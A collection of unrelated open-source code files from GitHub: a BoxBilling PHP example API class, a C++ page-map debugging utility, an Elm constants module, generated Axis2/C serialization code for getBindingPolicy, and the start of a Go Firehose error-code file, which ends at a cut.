<?php /** * BoxBilling * * @copyright BoxBilling, Inc (http://www.boxbilling.com) * @license Apache-2.0 * * Copyright BoxBilling, Inc * This source file is subject to the Apache-2.0 License that is bundled * with this source code in the file LICENSE */ /** * All public methods in this class are exposed to client using API. * Always think what kind of information you are exposing. */ namespace Box\Mod\Example\Api; class Client extends \Api_Abstract { /** * From client API you can call any other module API * * This method will collect data from all APIs and merge * into one result. * * Be careful not to expose sensitive data from Admin API. */ public function get_info($data) { // call custom event hook. All active modules will be notified $this->di['events_manager']->fire(array('event'=>'onAfterClientCalledExampleModule', 'params'=>array('key'=>'value'))); // Log message $this->di['logger']->info('Log message to log file'); $systemService = $this->di['mod_service']('System'); $clientService = $this->di['mod_service']('Client'); $type = $this->di['array_get']($data, 'type', 'info'); return array( 'data' => $data, 'version' => $systemService->getVersion(), 'profile' => $clientService->toApiArray($this->di['loggedin_client']), 'messages' => $systemService->getMessages($type) ); } }
{ "pile_set_name": "Github" }
/* vm.cc Jeremy Barnes, 22 February 2010 Copyright (c) 2010 Jeremy Barnes. All rights reserved. Virtual memory functions. */ #include "vm.h" #include "jml/arch/format.h" #include "jml/arch/exception.h" #include "jml/utils/guard.h" #include "jml/utils/info.h" #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <errno.h> #include <boost/bind.hpp> #include <boost/crc.hpp> #include <fstream> using namespace std; namespace ML { std::string Pagemap_Entry:: print() const { if (present) return format("P%c %09lx s 2^%-5d", (swapped ? 'S' : '.'), pfn, (int)shift); else if (swapped) return format(".S %02d/%06x s 2^%-5d", (int)swap_type, (int)swap_offset, (int)shift); else return ".. "; } std::string Page_Info:: print_mapping() const { return Pagemap_Entry::print(); } std::string Page_Info:: print_flags() const { const char * letters = "lerudLaswRbmAShtHUPnk"; string result; uint64_t val = 1; for (unsigned i = 0; i < 22; ++i) { bool f = flags & val; val <<= 1; if (f) result += letters[i]; else result += '.'; } result += format(" %06llx", (long long)flags); return result; } std::string Page_Info:: print() const { string result = print_mapping(); if (pfn != 0 && (count != 0 || flags != 0)) result = result + format(" c:%6lld ", (long long)count) + print_flags(); return result; } std::vector<Page_Info> page_info(const void * addr, int npages) { int pm_fd = open("/proc/self/pagemap", O_RDONLY); if (pm_fd == -1) throw Exception("open pagemap; " + string(strerror(errno))); Call_Guard close_pm_fd(boost::bind(::close, pm_fd)); // Both of these might fail as these two files require special priviledges // to read int pf_fd = open("/proc/kpageflags", O_RDONLY); int pc_fd = open("/proc/kpagecount", O_RDONLY); // These will call guard with an fd of -1 if the files weren't open, which // won't hurt us Call_Guard close_pf_fd(boost::bind(::close, pf_fd), pf_fd != -1); Call_Guard close_pc_fd(boost::bind(::close, pc_fd), pc_fd != -1); size_t page_num = (size_t)addr / 4096; int res = lseek(pm_fd, page_num * 8, SEEK_SET); if (res == -1) throw Exception("page_info(): lseek: " + string(strerror(errno))); vector<Page_Info> result; for (unsigned i = 0; i < npages; ++i) { Page_Info info; int res = read(pm_fd, &info.mapping, 8); if (res != 8) throw Exception("read pm_fd"); if (info.present) { if (pf_fd != -1) { int res = lseek(pf_fd, info.pfn * 8, SEEK_SET); if (res == -1) throw Exception("lseek pf_fd"); res = read(pf_fd, &info.flags, 8); if (res != 8) throw Exception("read flags"); } if (pc_fd != -1) { res = lseek(pc_fd, info.pfn * 8, SEEK_SET); if (res == -1) throw Exception("lseek pc_fd"); res = read(pc_fd, &info.count, 8); if (res != 8) throw Exception("read count"); } } result.push_back(info); } return result; } void dump_page_info(const void * start, const void * end, std::ostream & stream) { const char * p1 = (const char *)start; const char * p2 = (const char *)end; size_t dist = p2 - p1; size_t pages = dist / page_size; size_t rem = dist % page_size; if (rem > 0) ++pages; if (pages > 10000) throw Exception("dump_page_info: too many pages"); vector<Page_Info> info = page_info(start, pages); if (info.size() != pages) throw Exception("no pages"); const char * p = page_start(p1); for (unsigned i = 0; i < pages; ++i, p += page_size) { stream << format("%04x %12p ", i, p) << info[i] << endl; } } std::vector<unsigned char> page_flags(const void * addr, int npages) { int pm_fd = open("/proc/self/pagemap", O_RDONLY); if (pm_fd == -1) throw Exception("open pagemap; " + string(strerror(errno))); Call_Guard close_pm_fd(boost::bind(::close, pm_fd)); size_t page_num = (size_t)addr / 4096; int res = lseek(pm_fd, page_num * 8, SEEK_SET); if (res == -1) throw Exception("page_info(): lseek: " + string(strerror(errno))); vector<unsigned char> result; result.reserve(npages); Page_Info info; uint64_t buf[1024]; for (unsigned i = 0; i < npages; i += 1024) { int n = min<size_t>(1024, npages - i); int res = read(pm_fd, buf, 8 * n); if (res != 8 * n) throw Exception("read pm_fd"); for (unsigned j = 0; j < n; ++j) { info.mapping = buf[j]; result.push_back(info.present); } } return result; } void dump_maps(std::ostream & out) { std::ifstream stream("/proc/self/maps"); out << string(60, '=') << endl; out << "maps" << endl; while (stream) { string s; std::getline(stream, s); out << s << endl; } out << string(60, '=') << endl; out << endl << endl; } /*****************************************************************************/ /* PAGEMAP_READER */ /*****************************************************************************/ Pagemap_Reader:: Pagemap_Reader(const char * mem, size_t bytes, Pagemap_Entry * entries, int fd) : fd(fd), mem(mem), entries(entries), delete_entries(entries == 0), close_fd(fd == -1) { npages = to_page_num(mem + bytes) - to_page_num(mem); #if 0 cerr << "mem = " << (const void *)mem << endl; cerr << "mem + bytes = " << (const void *)(mem + bytes) << endl; cerr << "page1 = " << to_page_num(mem + bytes) << endl; cerr << "page2 = " << to_page_num(mem) << endl; cerr << "bytes = " << bytes << endl; cerr << "npages = " << npages << endl; cerr << "pagemap_reader: fd = " << fd << endl; #endif if (close_fd) this->fd = open("/proc/self/pagemap", O_RDONLY); if (this->fd == -1) throw Exception(errno, "Pagemap_Reader()", "open(\"proc/self/pagemap\", O_RDONLY)"); Call_Guard do_close_fd(boost::bind(close, this->fd), close_fd); if (delete_entries) this->entries = new Pagemap_Entry[npages]; try { update(); } catch (...) { if (delete_entries) delete[] entries; throw; } //cerr << "pagemap_reader init " << this // << ": entries = " << entries << " this->entries = " // << this->entries << " delete_entries = " << delete_entries // << " fd = " << this->fd << endl; do_close_fd.clear(); } Pagemap_Reader:: ~Pagemap_Reader() { //cerr << "pagemap_reader exit " << this // << ": entries = " << entries << " this->entries = " // << this->entries << " delete_entries = " << delete_entries << endl; if (delete_entries) delete[] entries; if (close_fd && fd != -1) { int res = close(fd); if (res == -1) cerr << "~Pagemap_Reader(): close on fd: " << strerror(errno) << endl; } entries = 0; } size_t Pagemap_Reader:: update(ssize_t first_page, ssize_t last_page) { if (last_page == -1) last_page = npages; if (first_page < 0 || last_page > npages || last_page < first_page) throw Exception("Pagemap_Reader::update(): pages out of range"); // Where do we seek to in the pagemap file? // Counts the number of modified page map entries size_t result = 0; size_t CHUNK = 1024; // pages at a time // Buffer to read them into Pagemap_Entry buf[CHUNK]; size_t base_page_num = to_page_num(mem); //cerr << "update: first_page = " << first_page // << " last_page = " << last_page << endl; // Update a chunk at a time for (size_t page = first_page; page < last_page; /* no inc */) { size_t limit = std::min<size_t>(page + CHUNK, last_page); size_t todo = limit - page; //cerr << "page = " << page << " last_page = " << last_page // << " limit = " << limit << " todo " << todo << endl; // Where to seek in the pagemap file? off_t seek_pos = (base_page_num + page) * sizeof(Pagemap_Entry); //cerr << "seek_pos = " << seek_pos << " base_page_num = " // << base_page_num << endl; ssize_t res = pread(fd, buf, todo * sizeof(Pagemap_Entry), seek_pos); if (res <= 0) { cerr << "fd: " << fd << " filename: " << fd_to_filename(fd) << endl; } if (res == -1) throw Exception(errno, "Pagemap_Reader::update()", "pread"); if (res <= 0) throw Exception("Pagemap_Reader::update(): nothing read " "from pagemap file"); //cerr << "res = " << res << endl; res /= sizeof(Pagemap_Entry); // convert bytes to objects //cerr << "read " << res << " objects" << endl; for (unsigned i = 0; i < res; ++i) { result += this->entries[page + i] != buf[i]; this->entries[page + i] = buf[i]; } page += res; } return result; } void Pagemap_Reader:: dump(std::ostream & stream) const { const char * p = mem; for (unsigned i = 0; i < npages; ++i, p += page_size) { boost::crc_32_type calc_crc; uint32_t crc = 0; if (entries[i].present && !entries[i].swapped) { calc_crc.process_bytes(p, page_size); crc = calc_crc.checksum(); } stream << format("%04x %12p ", i, p) << entries[i]; if (entries[i].present && !entries[i].swapped) stream << format("%08x", crc); stream << endl; } } } // namespace ML
{ "pile_set_name": "Github" }
module Test.Internal.KernelConstants exposing (kernelConstants) {-| This module defines the mapping of optimized field name and enum values for kernel code in other packages the we depend on. -} {-| NOTE: this is duplicating constants also defined in src/Elm/Kernel/HtmlAsJson.js so if you make any changes here, be sure to synchronize them there! -} kernelConstants = { virtualDom = { nodeType = "$" , nodeTypeText = 0 , nodeTypeKeyedNode = 2 , nodeTypeNode = 1 , nodeTypeCustom = 3 , nodeTypeTagger = 4 , nodeTypeThunk = 5 , tag = "c" , kids = "e" , facts = "d" , descendantsCount = "b" , text = "a" , refs = "l" , node = "k" , tagger = "j" , model = "g" } , markdown = { options = "a" , markdown = "b" } }
{ "pile_set_name": "Github" }
/* * Copyright 2009-2010 WSO2, Inc. http://wso2.com * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * adb_getBindingPolicy.c * * This file was auto-generated from WSDL * by the Apache Axis2/C version: SNAPSHOT Built on : Mar 10, 2008 (08:35:52 GMT+00:00) */ #include "adb_getBindingPolicy.h" /* * implmentation of the getBindingPolicy|http://org.apache.axis2/xsd element */ struct adb_getBindingPolicy { axis2_char_t *property_Type; axutil_qname_t* qname; axis2_char_t* property_serviceName; axis2_bool_t is_valid_serviceName; axis2_char_t* property_bindingName; axis2_bool_t is_valid_bindingName; }; /************************* Private Function prototypes ********************************/ /************************* Function Implmentations ********************************/ adb_getBindingPolicy_t* AXIS2_CALL adb_getBindingPolicy_create( const axutil_env_t *env) { adb_getBindingPolicy_t *_getBindingPolicy = NULL; axutil_qname_t* qname = NULL; AXIS2_ENV_CHECK(env, NULL); _getBindingPolicy = (adb_getBindingPolicy_t *) AXIS2_MALLOC(env-> allocator, sizeof(adb_getBindingPolicy_t)); if(NULL == _getBindingPolicy) { AXIS2_ERROR_SET(env->error, AXIS2_ERROR_NO_MEMORY, AXIS2_FAILURE); return NULL; } memset(_getBindingPolicy, 0, sizeof(adb_getBindingPolicy_t)); _getBindingPolicy->property_Type = axutil_strdup(env, "adb_getBindingPolicy"); _getBindingPolicy->property_serviceName = NULL; _getBindingPolicy->is_valid_serviceName = AXIS2_FALSE; _getBindingPolicy->property_bindingName = NULL; _getBindingPolicy->is_valid_bindingName = AXIS2_FALSE; qname = axutil_qname_create (env, "getBindingPolicy", "http://org.apache.axis2/xsd", NULL); _getBindingPolicy->qname = qname; return _getBindingPolicy; } adb_getBindingPolicy_t* AXIS2_CALL adb_getBindingPolicy_create_with_values( const axutil_env_t *env, axis2_char_t* _serviceName, axis2_char_t* _bindingName) { adb_getBindingPolicy_t* adb_obj = NULL; axis2_status_t status = AXIS2_SUCCESS; adb_obj = adb_getBindingPolicy_create(env); status = adb_getBindingPolicy_set_serviceName( adb_obj, env, _serviceName); if(status == AXIS2_FAILURE) { adb_getBindingPolicy_free (adb_obj, env); return NULL; } status = adb_getBindingPolicy_set_bindingName( adb_obj, env, _bindingName); if(status == AXIS2_FAILURE) { adb_getBindingPolicy_free (adb_obj, env); return NULL; } return adb_obj; } axis2_char_t* AXIS2_CALL adb_getBindingPolicy_free_popping_value( adb_getBindingPolicy_t* _getBindingPolicy, const axutil_env_t *env) { axis2_char_t* value; value = _getBindingPolicy->property_serviceName; _getBindingPolicy->property_serviceName = (axis2_char_t*)NULL; adb_getBindingPolicy_free(_getBindingPolicy, env); return value; } axis2_status_t AXIS2_CALL adb_getBindingPolicy_free( adb_getBindingPolicy_t* _getBindingPolicy, const axutil_env_t *env) { return adb_getBindingPolicy_free_obj( _getBindingPolicy, env); } axis2_status_t AXIS2_CALL adb_getBindingPolicy_free_obj( adb_getBindingPolicy_t* _getBindingPolicy, const axutil_env_t *env) { AXIS2_ENV_CHECK(env, AXIS2_FAILURE); AXIS2_PARAM_CHECK(env->error, _getBindingPolicy, AXIS2_FAILURE); if (_getBindingPolicy->property_Type != NULL) { AXIS2_FREE(env->allocator, _getBindingPolicy->property_Type); } adb_getBindingPolicy_reset_serviceName(_getBindingPolicy, env); adb_getBindingPolicy_reset_bindingName(_getBindingPolicy, env); if(_getBindingPolicy->qname) { axutil_qname_free (_getBindingPolicy->qname, env); _getBindingPolicy->qname = NULL; } if(_getBindingPolicy) { AXIS2_FREE(env->allocator, _getBindingPolicy); _getBindingPolicy = NULL; } return AXIS2_SUCCESS; } axis2_status_t AXIS2_CALL adb_getBindingPolicy_deserialize( adb_getBindingPolicy_t* _getBindingPolicy, const axutil_env_t *env, axiom_node_t **dp_parent, axis2_bool_t *dp_is_early_node_valid, axis2_bool_t dont_care_minoccurs) { return adb_getBindingPolicy_deserialize_obj( _getBindingPolicy, env, dp_parent, dp_is_early_node_valid, dont_care_minoccurs); } axis2_status_t AXIS2_CALL adb_getBindingPolicy_deserialize_obj( adb_getBindingPolicy_t* _getBindingPolicy, const axutil_env_t *env, axiom_node_t **dp_parent, axis2_bool_t *dp_is_early_node_valid, axis2_bool_t dont_care_minoccurs) { axiom_node_t *parent = *dp_parent; axis2_status_t status = AXIS2_SUCCESS; const axis2_char_t* text_value = NULL; axutil_qname_t *qname = NULL; axutil_qname_t *element_qname = NULL; axiom_node_t *first_node = NULL; axis2_bool_t is_early_node_valid = AXIS2_TRUE; axiom_node_t *current_node = NULL; axiom_element_t *current_element = NULL; AXIS2_ENV_CHECK(env, AXIS2_FAILURE); AXIS2_PARAM_CHECK(env->error, _getBindingPolicy, AXIS2_FAILURE); while(parent && axiom_node_get_node_type(parent, env) != AXIOM_ELEMENT) { parent = axiom_node_get_next_sibling(parent, env); } if (NULL == parent) { /* This should be checked before everything */ AXIS2_LOG_ERROR(env->log, AXIS2_LOG_SI, "Failed in building adb object for getBindingPolicy : " "NULL element can not be passed to deserialize"); return AXIS2_FAILURE; } current_element = (axiom_element_t *)axiom_node_get_data_element(parent, env); qname = axiom_element_get_qname(current_element, env, parent); if (axutil_qname_equals(qname, env, _getBindingPolicy-> qname)) { first_node = axiom_node_get_first_child(parent, env); } else { AXIS2_LOG_ERROR(env->log, AXIS2_LOG_SI, "Failed in building adb object for getBindingPolicy : " "Expected %s but returned %s", axutil_qname_to_string(_getBindingPolicy-> qname, env), axutil_qname_to_string(qname, env)); return AXIS2_FAILURE; } /* * building serviceName element */ current_node = first_node; is_early_node_valid = AXIS2_FALSE; while(current_node && axiom_node_get_node_type(current_node, env) != AXIOM_ELEMENT) { current_node = axiom_node_get_next_sibling(current_node, env); } if(current_node != NULL) { current_element = (axiom_element_t *)axiom_node_get_data_element(current_node, env); qname = axiom_element_get_qname(current_element, env, current_node); } element_qname = axutil_qname_create(env, "serviceName", "http://org.apache.axis2/xsd", NULL); if ( (current_node && current_element && (axutil_qname_equals(element_qname, env, qname)))) { if( current_node && current_element && (axutil_qname_equals(element_qname, env, qname))) { is_early_node_valid = AXIS2_TRUE; } text_value = axiom_element_get_text(current_element, env, current_node); if(text_value != NULL) { status = adb_getBindingPolicy_set_serviceName(_getBindingPolicy, env, text_value); } if(AXIS2_FAILURE == status) { AXIS2_LOG_ERROR(env->log, AXIS2_LOG_SI, "failed in setting the value for serviceName "); if(element_qname) { axutil_qname_free(element_qname, env); } return AXIS2_FAILURE; } } if(element_qname) { axutil_qname_free(element_qname, env); element_qname = NULL; } /* * building bindingName element */ /* * because elements are ordered this works fine */ if(current_node != NULL && is_early_node_valid) { current_node = axiom_node_get_next_sibling(current_node, env); while(current_node && axiom_node_get_node_type(current_node, env) != AXIOM_ELEMENT) { current_node = axiom_node_get_next_sibling(current_node, env); } if(current_node != NULL) { current_element = (axiom_element_t *)axiom_node_get_data_element(current_node, env); qname = axiom_element_get_qname(current_element, env, current_node); } } is_early_node_valid = AXIS2_FALSE; element_qname = axutil_qname_create(env, "bindingName", "http://org.apache.axis2/xsd", NULL); if ( (current_node && current_element && (axutil_qname_equals(element_qname, env, qname)))) { if( current_node && current_element && (axutil_qname_equals(element_qname, env, qname))) { is_early_node_valid = AXIS2_TRUE; } text_value = axiom_element_get_text(current_element, env, current_node); if(text_value != NULL) { status = adb_getBindingPolicy_set_bindingName(_getBindingPolicy, env, text_value); } if(AXIS2_FAILURE == status) { AXIS2_LOG_ERROR(env->log, AXIS2_LOG_SI, "failed in setting the value for bindingName "); if(element_qname) { axutil_qname_free(element_qname, env); } return AXIS2_FAILURE; } } if(element_qname) { axutil_qname_free(element_qname, env); element_qname = NULL; } return status; } axis2_bool_t AXIS2_CALL adb_getBindingPolicy_is_particle() { return AXIS2_FALSE; } void AXIS2_CALL adb_getBindingPolicy_declare_parent_namespaces( adb_getBindingPolicy_t* _getBindingPolicy, const axutil_env_t *env, axiom_element_t *parent_element, axutil_hash_t *namespaces, int *next_ns_index) { /* Here this is an empty function, Nothing to declare */ } axiom_node_t* AXIS2_CALL adb_getBindingPolicy_serialize( adb_getBindingPolicy_t* _getBindingPolicy, const axutil_env_t *env, axiom_node_t *parent, axiom_element_t *parent_element, int parent_tag_closed, axutil_hash_t *namespaces, int *next_ns_index) { return adb_getBindingPolicy_serialize_obj( _getBindingPolicy, env, parent, parent_element, parent_tag_closed, namespaces, next_ns_index); } axiom_node_t* AXIS2_CALL adb_getBindingPolicy_serialize_obj( adb_getBindingPolicy_t* _getBindingPolicy, const axutil_env_t *env, axiom_node_t *parent, axiom_element_t *parent_element, int parent_tag_closed, axutil_hash_t *namespaces, int *next_ns_index) { axiom_node_t* current_node = NULL; int tag_closed = 0; axiom_namespace_t *ns1 = NULL; axis2_char_t *qname_uri = NULL; axis2_char_t *qname_prefix = NULL; axis2_char_t *p_prefix = NULL; axis2_bool_t ns_already_defined; axis2_char_t *text_value_1; axis2_char_t *text_value_1_temp; axis2_char_t *text_value_2; axis2_char_t *text_value_2_temp; axis2_char_t *start_input_str = NULL; axis2_char_t *end_input_str = NULL; unsigned int start_input_str_len = 0; unsigned int end_input_str_len = 0; axiom_data_source_t *data_source = NULL; axutil_stream_t *stream = NULL; int next_ns_index_value = 0; AXIS2_ENV_CHECK(env, NULL); AXIS2_PARAM_CHECK(env->error, _getBindingPolicy, NULL); namespaces = axutil_hash_make(env); next_ns_index = &next_ns_index_value; ns1 = axiom_namespace_create (env, "http://org.apache.axis2/xsd", "n"); axutil_hash_set(namespaces, "http://org.apache.axis2/xsd", AXIS2_HASH_KEY_STRING, axutil_strdup(env, "n")); parent_element = axiom_element_create (env, NULL, "getBindingPolicy", ns1 , &parent); axiom_element_set_namespace(parent_element, env, ns1, parent); data_source = axiom_data_source_create(env, parent, &current_node); stream = axiom_data_source_get_stream(data_source, env); if(!(p_prefix = (axis2_char_t*)axutil_hash_get(namespaces, "http://org.apache.axis2/xsd", AXIS2_HASH_KEY_STRING))) { p_prefix = (axis2_char_t*)AXIS2_MALLOC(env->allocator, sizeof (axis2_char_t) * ADB_DEFAULT_NAMESPACE_PREFIX_LIMIT); sprintf(p_prefix, "n%d", (*next_ns_index)++); axutil_hash_set(namespaces, "http://org.apache.axis2/xsd", AXIS2_HASH_KEY_STRING, p_prefix); axiom_element_declare_namespace_assume_param_ownership(parent_element, env, axiom_namespace_create (env, "http://org.apache.axis2/xsd", p_prefix)); } if (!_getBindingPolicy->is_valid_serviceName) { /* no need to complain for minoccurs=0 element */ } else { start_input_str = (axis2_char_t*)AXIS2_MALLOC(env->allocator, sizeof(axis2_char_t) * (4 + axutil_strlen(p_prefix) + axutil_strlen("serviceName"))); /* axutil_strlen("<:>") + 1 = 4 */ end_input_str = (axis2_char_t*)AXIS2_MALLOC(env->allocator, sizeof(axis2_char_t) * (5 + axutil_strlen(p_prefix) + axutil_strlen("serviceName"))); /* axutil_strlen("</:>") + 1 = 5 */ /* * parsing serviceName element */ sprintf(start_input_str, "<%s%sserviceName>", p_prefix?p_prefix:"", (p_prefix && axutil_strcmp(p_prefix, ""))?":":""); start_input_str_len = axutil_strlen(start_input_str); sprintf(end_input_str, "</%s%sserviceName>", p_prefix?p_prefix:"", (p_prefix && axutil_strcmp(p_prefix, ""))?":":""); end_input_str_len = axutil_strlen(end_input_str); text_value_1 = _getBindingPolicy->property_serviceName; axutil_stream_write(stream, env, start_input_str, start_input_str_len); text_value_1_temp = axutil_xml_quote_string(env, text_value_1, AXIS2_TRUE); if (text_value_1_temp) { axutil_stream_write(stream, env, text_value_1_temp, axutil_strlen(text_value_1_temp)); AXIS2_FREE(env->allocator, text_value_1_temp); } else { axutil_stream_write(stream, env, text_value_1, axutil_strlen(text_value_1)); } axutil_stream_write(stream, env, end_input_str, end_input_str_len); AXIS2_FREE(env->allocator,start_input_str); AXIS2_FREE(env->allocator,end_input_str); } if(!(p_prefix = (axis2_char_t*)axutil_hash_get(namespaces, "http://org.apache.axis2/xsd", AXIS2_HASH_KEY_STRING))) { p_prefix = (axis2_char_t*)AXIS2_MALLOC(env->allocator, sizeof (axis2_char_t) * ADB_DEFAULT_NAMESPACE_PREFIX_LIMIT); sprintf(p_prefix, "n%d", (*next_ns_index)++); axutil_hash_set(namespaces, "http://org.apache.axis2/xsd", AXIS2_HASH_KEY_STRING, p_prefix); axiom_element_declare_namespace_assume_param_ownership(parent_element, env, axiom_namespace_create (env, "http://org.apache.axis2/xsd", p_prefix)); } if (!_getBindingPolicy->is_valid_bindingName) { /* no need to complain for minoccurs=0 element */ } else { start_input_str = (axis2_char_t*)AXIS2_MALLOC(env->allocator, sizeof(axis2_char_t) * (4 + axutil_strlen(p_prefix) + axutil_strlen("bindingName"))); /* axutil_strlen("<:>") + 1 = 4 */ end_input_str = (axis2_char_t*)AXIS2_MALLOC(env->allocator, sizeof(axis2_char_t) * (5 + axutil_strlen(p_prefix) + axutil_strlen("bindingName"))); /* axutil_strlen("</:>") + 1 = 5 */ /* * parsing bindingName element */ sprintf(start_input_str, "<%s%sbindingName>", p_prefix?p_prefix:"", (p_prefix && axutil_strcmp(p_prefix, ""))?":":""); start_input_str_len = axutil_strlen(start_input_str); sprintf(end_input_str, "</%s%sbindingName>", p_prefix?p_prefix:"", (p_prefix && axutil_strcmp(p_prefix, ""))?":":""); end_input_str_len = axutil_strlen(end_input_str); text_value_2 = _getBindingPolicy->property_bindingName; axutil_stream_write(stream, env, start_input_str, start_input_str_len); text_value_2_temp = axutil_xml_quote_string(env, text_value_2, AXIS2_TRUE); if (text_value_2_temp) { axutil_stream_write(stream, env, text_value_2_temp, axutil_strlen(text_value_2_temp)); AXIS2_FREE(env->allocator, text_value_2_temp); } else { axutil_stream_write(stream, env, text_value_2, axutil_strlen(text_value_2)); } axutil_stream_write(stream, env, end_input_str, end_input_str_len); AXIS2_FREE(env->allocator,start_input_str); AXIS2_FREE(env->allocator,end_input_str); } if(namespaces) { axutil_hash_index_t *hi; void *val; for (hi = axutil_hash_first(namespaces, env); hi; hi = axutil_hash_next(env, hi)) { axutil_hash_this(hi, NULL, NULL, &val); AXIS2_FREE(env->allocator, val); } axutil_hash_free(namespaces, env); } return parent; } /** * Getter for serviceName by Property Number 1 */ axis2_char_t* AXIS2_CALL adb_getBindingPolicy_get_property1( adb_getBindingPolicy_t* _getBindingPolicy, const axutil_env_t *env) { return adb_getBindingPolicy_get_serviceName(_getBindingPolicy, env); } /** * getter for serviceName. */ axis2_char_t* AXIS2_CALL adb_getBindingPolicy_get_serviceName( adb_getBindingPolicy_t* _getBindingPolicy, const axutil_env_t *env) { AXIS2_ENV_CHECK(env, NULL); AXIS2_PARAM_CHECK(env->error, _getBindingPolicy, NULL); return _getBindingPolicy->property_serviceName; } /** * setter for serviceName */ axis2_status_t AXIS2_CALL adb_getBindingPolicy_set_serviceName( adb_getBindingPolicy_t* _getBindingPolicy, const axutil_env_t *env, const axis2_char_t* arg_serviceName) { AXIS2_ENV_CHECK(env, AXIS2_FAILURE); AXIS2_PARAM_CHECK(env->error, _getBindingPolicy, AXIS2_FAILURE); if(_getBindingPolicy->is_valid_serviceName && arg_serviceName == _getBindingPolicy->property_serviceName) { return AXIS2_SUCCESS; } adb_getBindingPolicy_reset_serviceName(_getBindingPolicy, env); if(NULL == arg_serviceName) { /* We are already done */ return AXIS2_SUCCESS; } _getBindingPolicy->property_serviceName = (axis2_char_t *)axutil_strdup(env, arg_serviceName); if(NULL == _getBindingPolicy->property_serviceName) { AXIS2_LOG_ERROR(env->log, AXIS2_LOG_SI, "Error allocating memeory for serviceName"); return AXIS2_FAILURE; } _getBindingPolicy->is_valid_serviceName = AXIS2_TRUE; return AXIS2_SUCCESS; } /** * resetter for serviceName */ axis2_status_t AXIS2_CALL adb_getBindingPolicy_reset_serviceName( adb_getBindingPolicy_t* _getBindingPolicy, const axutil_env_t *env) { int i = 0; int count = 0; void *element = NULL; AXIS2_ENV_CHECK(env, AXIS2_FAILURE); AXIS2_PARAM_CHECK(env->error, _getBindingPolicy, AXIS2_FAILURE); if(_getBindingPolicy->property_serviceName != NULL) { AXIS2_FREE(env-> allocator, _getBindingPolicy->property_serviceName); _getBindingPolicy->property_serviceName = NULL; } _getBindingPolicy->is_valid_serviceName = AXIS2_FALSE; return AXIS2_SUCCESS; } /** * Check whether serviceName is nill */ axis2_bool_t AXIS2_CALL adb_getBindingPolicy_is_serviceName_nil( adb_getBindingPolicy_t* _getBindingPolicy, const axutil_env_t *env) { AXIS2_ENV_CHECK(env, AXIS2_TRUE); AXIS2_PARAM_CHECK(env->error, _getBindingPolicy, AXIS2_TRUE); return !_getBindingPolicy->is_valid_serviceName; } /** * Set serviceName to nill (currently the same as reset) */ axis2_status_t AXIS2_CALL adb_getBindingPolicy_set_serviceName_nil( adb_getBindingPolicy_t* _getBindingPolicy, const axutil_env_t *env) { return adb_getBindingPolicy_reset_serviceName(_getBindingPolicy, env); } /** * Getter for bindingName by Property Number 2 */ axis2_char_t* AXIS2_CALL adb_getBindingPolicy_get_property2( adb_getBindingPolicy_t* _getBindingPolicy, const axutil_env_t *env) { return adb_getBindingPolicy_get_bindingName(_getBindingPolicy, env); } /** * getter for bindingName. */ axis2_char_t* AXIS2_CALL adb_getBindingPolicy_get_bindingName( adb_getBindingPolicy_t* _getBindingPolicy, const axutil_env_t *env) { AXIS2_ENV_CHECK(env, NULL); AXIS2_PARAM_CHECK(env->error, _getBindingPolicy, NULL); return _getBindingPolicy->property_bindingName; } /** * setter for bindingName */ axis2_status_t AXIS2_CALL adb_getBindingPolicy_set_bindingName( adb_getBindingPolicy_t* _getBindingPolicy, const axutil_env_t *env, const axis2_char_t* arg_bindingName) { AXIS2_ENV_CHECK(env, AXIS2_FAILURE); AXIS2_PARAM_CHECK(env->error, _getBindingPolicy, AXIS2_FAILURE); if(_getBindingPolicy->is_valid_bindingName && arg_bindingName == _getBindingPolicy->property_bindingName) { return AXIS2_SUCCESS; } adb_getBindingPolicy_reset_bindingName(_getBindingPolicy, env); if(NULL == arg_bindingName) { /* We are already done */ return AXIS2_SUCCESS; } _getBindingPolicy->property_bindingName = (axis2_char_t *)axutil_strdup(env, arg_bindingName); if(NULL == _getBindingPolicy->property_bindingName) { AXIS2_LOG_ERROR(env->log, AXIS2_LOG_SI, "Error allocating memeory for bindingName"); return AXIS2_FAILURE; } _getBindingPolicy->is_valid_bindingName = AXIS2_TRUE; return AXIS2_SUCCESS; } /** * resetter for bindingName */ axis2_status_t AXIS2_CALL adb_getBindingPolicy_reset_bindingName( adb_getBindingPolicy_t* _getBindingPolicy, const axutil_env_t *env) { int i = 0; int count = 0; void *element = NULL; AXIS2_ENV_CHECK(env, AXIS2_FAILURE); AXIS2_PARAM_CHECK(env->error, _getBindingPolicy, AXIS2_FAILURE); if(_getBindingPolicy->property_bindingName != NULL) { AXIS2_FREE(env-> allocator, _getBindingPolicy->property_bindingName); _getBindingPolicy->property_bindingName = NULL; } _getBindingPolicy->is_valid_bindingName = AXIS2_FALSE; return AXIS2_SUCCESS; } /** * Check whether bindingName is nill */ axis2_bool_t AXIS2_CALL adb_getBindingPolicy_is_bindingName_nil( adb_getBindingPolicy_t* _getBindingPolicy, const axutil_env_t *env) { AXIS2_ENV_CHECK(env, AXIS2_TRUE); AXIS2_PARAM_CHECK(env->error, _getBindingPolicy, AXIS2_TRUE); return !_getBindingPolicy->is_valid_bindingName; } /** * Set bindingName to nill (currently the same as reset) */ axis2_status_t AXIS2_CALL adb_getBindingPolicy_set_bindingName_nil( adb_getBindingPolicy_t* _getBindingPolicy, const axutil_env_t *env) { return adb_getBindingPolicy_reset_bindingName(_getBindingPolicy, env); }
{ "pile_set_name": "Github" }
// Code generated by private/model/cli/gen-api/main.go. DO NOT EDIT. package firehose const ( // ErrCodeConcurrentModificationException for service response error code // "ConcurrentModificationException". // // Another modification has already happened. Fetch VersionId again and use // it to update the destination. ErrCodeConcurrentModificationException = "ConcurrentModificationException" // ErrCodeInvalidArgumentException for service response error code // "InvalidArgumentException". // // The specified input parameter has an value that is not valid. ErrCodeInvalidArgumentException = "InvalidArgumentException" // ErrCodeLimitExceededException for service response error code // "LimitExceededException". // // You have already reached the limit for a requested resource. ErrCodeLimitExceededException = "LimitExceededException" // ErrCodeResourceInUseException for service response error code // "ResourceInUseException". // // The resource is already in use and not available for this operation. ErrCodeResourceInUseException = "ResourceInUseException" // ErrCodeResourceNotFoundException for service response error code // "ResourceNotFoundException". // // The specified resource could not be found. ErrCodeResourceNotFoundException = "ResourceNotFoundException" // 